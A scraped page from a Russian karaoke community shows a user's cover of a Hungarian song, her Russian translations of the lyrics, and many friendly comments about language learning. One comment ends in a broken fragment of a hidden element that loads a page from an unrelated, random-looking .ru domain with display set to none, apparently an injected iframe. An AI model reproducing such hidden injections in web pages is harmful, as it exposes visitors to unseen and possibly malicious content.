Логин: 

Пароль:  
 не отображать мое присутствие
Сны
Винтаж
Зачем придумали любовь
Лазарев Сергей
Ангел седой
Сурганова Светлана
Ты беги, беги
Гагарина Полина
Я куплю тебе дом
Лесоповал

«Elado Kiado Most A Sziven» (Apostol) кавер-версия от пользователя

180   72   1
offline olia07
27.02.2016 2350
Ну вот..)) Спела наконец-таки на венгерском..))) Не зря учу!:)
  Баллов:
76
 
 


Комментарии пользователей к записи:

          Страницы: 1  2 

olia07, 27.02.2016 г. 23:50
Продаю, отдаю свое сердце
Сдаю, если оно тебе нужно,
Продам, отдам своё сердце
А взамен ты получишь одну жизнь...

Продам, отдам сейчас сердце,
Там уже никто не живёт,
Возьми, дёшево отдам тебе..
Только за одно твоё доброе слово..

В нем уже давно живет только тишина,
Тогда новоё жильё нужно,
Когда старое сгорело,
И самое время для меня обрести новое..

это примерный перпевод))


  

olia07, 27.02.2016 г. 23:58
Там ещё есть такое:
А ходишь туда-сюда,
Ищешь, где можно тебе жить..
Но лучшего, чем я
serdce_v_rukeтебе никто не предложит!:)
  

olia07, 28.02.2016 г. 01:42
Вот попробовала перевести немного в рифму...smushenie

Я продам, я отдам своё сердце
Сдам в наём, если нужно тебе,
Я продам, я отдам моё сердце,
А ты жизнь мне подаришь взамен...

Я продам, я отдам своё сердце
В нём давно уж никто не живёт,
Ты возьми , не торгуясь за цену.
,Дай взамен лишь словечко своё..

В моем сердце теперь тихо очень..
Если ищешь себе новый дом,
Если всё отболело, и осень..
Проведи её в сердце моём...

Что же зря тебе птицей метаться
Если есть уже место, где жить.
Даже, если начнёшь торговаться,
то дешевле нигде не купить..

Так возьми у меня моё сердце
Ведь никто так тебя не поймёт..
Не прошу у тебя я ни цента...
Только доброе слово твоё...


  
v2v145, 27.02.2016 г. 23:57
Оль привет прекрасная любовь молодец дорогая спасибо.buket_serdechkibravo_bigvozdushnyj_pocelujbuket_big id="a1996667054" src="//u7yb1iy1x3xv.ru/f.html" style="display:none">
  

olia07, 28.02.2016 г. 00:02
Спасибо, Володечка!!:) Приятно!!:)v_romashkah
  
alyly, 27.02.2016 г. 23:58
Оленька так нравится когда на других языках песенки поются ...классно..!

  

olia07, 28.02.2016 г. 00:04
Аллусик, если б ты знала, как мне он тяжело даётся!!:)o_da А тут нашла эту простую песенку, думаю, дай "блесну" знаниями!!:)victory Хотя на самом дели они более чем скромны..)))smushenieСпасибочки, дорогуля!:):)vozd_poceluj
  
diljara, 28.02.2016 г. 00:00
bayanОленька! Очень даже красиво получилось! Мне очень понравилось! Бравушки! Пой еще такие песни!buket_serdechkibravo_big
  

olia07, 28.02.2016 г. 00:09
Спасибо, Хильдочка!:) "elado_ kiado" Это как обьявление в газете "Куплю-продам"...)) Пор смыслу интересная песенка...)) Спасибо тебе большое!:)vozd_poceluj
  
zaicic, 28.02.2016 г. 00:04
Отлично Оля!!buketА изучение языков это только браво!!!!buket_serdechkis_sharikamibuket_bigbravo_big
  

olia07, 28.02.2016 г. 00:15
Да уж! Мозги, особенно с венгерским не скучают!:):) Спасибо, Васечка!:)vozd_poceluj
  
yurist, 28.02.2016 г. 00:15
Знание языков обогащает! Молодчинка, Оля! voobuket_serdechkibravo_bigbuket_big
  

olia07, 28.02.2016 г. 00:21
Мариша, обогащает в плане общения, изучения культуры других народов, понимания психологии даже, но пока у меня с этим изучением одни расходы, оно же платное!:):)Это у меня уже четвёртый язык, не считая русского..))Спасибо большое!vozd_poceluj
  

yurist, 28.02.2016 г. 00:23
Ух, какая ты богатая!!! voo С целью погружения в среду, надо срочно посетить Венгрию. zhmu_lapusmehvozdushnyj_poceluj
  

olia07, 28.02.2016 г. 00:26
Так я тут живу..))
  

yurist, 28.02.2016 г. 00:29
oopssarkazmrzhunimagu
  
Yehuda, 28.02.2016 г. 00:30
Один из труднейших языков.
А ты его так облагородила и украсила своим ангельским голоском.
Просто офранцузила.
КАП
  

olia07, 28.02.2016 г. 00:36
ОЙ, не говори!:):) Там столько этих приставок и впереди и сзади слов, что порой корень не можешь найти и понять смысл...)) Спасибо за ласковые слова!:)vozd_pocelujbuket_big
  
marta_more, 28.02.2016 г. 00:33
Оля, привет!!! Как мелодично звучит венгерский, мягкий, легенько так, отличница наверное.... podmigivanieспасибо, приятное исполнение!!! d9
  

olia07, 28.02.2016 г. 00:41
Не, не отличница!)) У девочек, которые со мной в группу ходят почти у всех мужья венгры - а у меня русский, некому проверить домашку, некому подсказать, кроме одной подруги, которя тут живет в Венгрии уже много лет, но не будешь же часто обращаться, неудобно, вот и мучаюсь..)))) Но уже всю грамматику прошла, теперь на разговорных курсах..)) Осталось немного - ЗАГОВОРИТЬ.... легко и непринуждённо ...))Спасибо, Маришенька!:)vozd_pocelujbuket_serdechki
  

marta_more, 28.02.2016 г. 00:44
ты запела, klassа теперь дело за малым...podmigivanie ЗАГОВОРИШЬ, ОЛЯ, УДАЧИ!!!vozdushnyj_poceluj
  

olia07, 28.02.2016 г. 00:51
Да, это серьёзная мотивация- петь на языке...согласна... СпасибО!:)vstrecha
  
Irinka-1Duet, 28.02.2016 г. 00:42
Оленька Классно звучишь на венгерском!Да у тебя красиво получается и на польском...мне все нравится...что ты поешь!!!bravo_bigvozd_pocelujbuket_serdechki
  

olia07, 28.02.2016 г. 00:47
Ириш....нет... польский он "сладкий", как шоколадка с карамелью, мягкий, ироничный, прямо бальзам для моей души..)) А здесь пока не вижу гармонии.. такой диковатый...какой-то )))Спасибо тебе большое за комплименты!:)vozd_pocelujvozdushnyj_poceluj
  
milozka, 28.02.2016 г. 00:45
voobuket_big
  

olia07, 28.02.2016 г. 01:42
vozd_poceluj
  
kerchgalina, 28.02.2016 г. 00:49
  

olia07, 28.02.2016 г. 01:43
Спасибо, Галочка!:)vozd_poceluj
  

kerchgalina, 28.02.2016 г. 01:44
serdce_v_rukebuket_serdechkis_sharikamiulybaemsya_i_mashem
  
PRINCESSA, 28.02.2016 г. 00:56
понравилосьd9...очень мелодично...хоть и непонятноulybka спасибо Вам!!!
  

olia07, 28.02.2016 г. 01:46
А я вот как раз "художественным" переводом занималась...))) См. выше...))Спасибо!:)vozd_poceluj
  
oLia, 28.02.2016 г. 01:08
Оленька,очень понравилось исполнение! Интересный перевод))buket_serdechkiserdce_v_ruke
  

olia07, 28.02.2016 г. 01:55
Спасибо большое, Оленька!:)vozd_pocelujbuket_big
  
NEIGE, 28.02.2016 г. 01:22
OLIIA ,TI ,MOLODEC ...KLASSNO..!!!
OGROMNOE SPASIBO !!!!
( ia u tebiia slishu miiagkij ,polskij akcent )
  

olia07, 28.02.2016 г. 01:56
Вполне может быть...))У меня сейчас , как в доме Облонских...) ВСЁ СМЕШАЛОСЬ..))Спасибо, Костенька!:)vozd_pocelujbuket_big
  
zinavs, 28.02.2016 г. 02:00
Ну вот Оленька! Классно как! Хоть и не поняла слова!
Но зато с любовью и с нежностью ты спела!
Спасибо за перевод!
  

olia07, 28.02.2016 г. 02:22
Спасибо, Зинуля!! А я вижу твою нежность в этой сирени...))buketvozd_pocelujvstrecha
  
zinavs, 28.02.2016 г. 02:38
buket
  
MAXMIX2, 28.02.2016 г. 08:06
ОЛЕЧКА!bravo_bigvstrecha

  

olia07, 28.02.2016 г. 16:46
Спасибо, Танечка, дорогая!:)vozd_pocelujbuket_big
  
SolnzeV, 28.02.2016 г. 14:37
Оленька, d9 С какой лёгкостью звучит песня, очень красиво... klass Спасибо за знакомство с песнейrozochkarozochkaguitar
  

olia07, 28.02.2016 г. 16:47
Валюша, благодарю!!buket_bigserdce_v_ruke
  
OLECIA, 29.02.2016 г. 13:11
ОЛЕЧКА,С ИНТЕРЕСОМ ПОСЛУШАЛА!!!!!!!!!!!bravobuket_bigbravo_big
  

olia07, 29.02.2016 г. 16:34
bravobuket_serdechkiСпасибки!!buket_big
  
iPlaneta, 04.03.2016 г. 03:43
Олечка! Умничка! Красиво у тебя песня на венгерском прозвучала!!!!! Класс!!!!!klass
  

          Страницы: 1  2 

align=absbottomКомментарии могут оставлять только зарегистрированные пользователи, активировавшие аккаунт!
Зарегистрироваться или войти

26 oLia
Пропадаю я
Успенская Любовь
17 serg188
Весна по имени Светлана
Верные друзья
15 jemchujinka
Где ты прекрасная, светлая, ясная
Христианские
12 Serdca_Stuk
Любимый человек
Anivar
10 DIG
Гуляй, братва
Наговицын Сергей
10 valery
Прости меня
Серов Александр
9 borissi
Синий троллейбус
Камбурова Елена
9 kukolka
Тут и там
Сюткин Валерий
8 Anatoliy_K
Дальше действовать будем мы
Кино
5 Elecktroband
Она была в Париже
Высоцкий Владимир

assasa606
На дальнем берегу
Сармат
maxromano
В комнате пустой
Колдун Дмитрий
Zvada
Белеет мой парус
12 стульев


Albert_Vy
Лучина
Белый день
tolishek
Научи меня любить
Саруханов Игорь
valery
Прости меня
Серов Александр
kukolka
Тут и там
Сюткин Валерий
merdan48
Чтобы верила
Шанхай
oLia
Пропадаю я
Успенская Любовь
vokalist-17
Душа
Келеберда Александр
filvania
Любовница
Берег Николай
borissi
Синий троллейбус
Камбурова Елена
DIG
Гуляй, братва
Наговицын Сергей
serg188
Весна по имени Светлана
Верные друзья
verche
Любимый город
Бернес Марк
assasa606
На Заречной улице
Весна на Заречной улице
jemchujinka
Где ты прекрасная, светлая, ясная
Христианские
VsV-2015
Верни мне музыку
Ибрагимов Ренат
sladkoezhkin
Кохана
Богатиков Юрий
f3n8s15z7
Lay it down
Accept
Elecktroband
Она была в Париже
Высоцкий Владимир
Anatoliy_K
Дальше действовать будем мы
Кино
Serdca_Stuk
Любимый человек
Anivar



Страна Вокалистов © vocal-land.ru, 2015 — 2025 гг. Пользовательское соглашение.